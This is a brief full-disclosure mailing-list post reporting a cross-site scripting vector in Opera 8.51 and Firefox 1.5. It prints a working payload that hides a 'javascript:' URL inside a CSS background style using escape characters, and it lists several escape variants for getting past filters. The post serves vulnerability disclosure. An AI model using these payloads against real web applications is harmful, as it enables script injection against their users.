Opera/8.51 Firefox/1.5 XSS attacking vector

[hoshikuzu stardust <st4rdust () gmail com>]

Hello full-disclosure.

Sample:
<anytag
style="background:url(&quot;javascri\Dpt:/*/**/(function a()
{alert('JavaScript is executed.')})();&quot;);"
/>

Affected Web browsers are `Opera Version 8.51` and `Firefox/1.5`.
( Tested on Windows XP servicepack2. )

Variant:
"\d"
"\D"
"\0d"
"\00000d"
"\d "
"\00000d "
"\a"
"\9"
e.t.c.
(Maybe we must checkout \7 via IE on Mac (a.k.a. BELL on Mac. ),
I do not have Mac.

If your web application does not sanitize output it is very easy to
inject malicious
scripts.

Is it well-known information ? ,sorry.

BEST REGARDS.
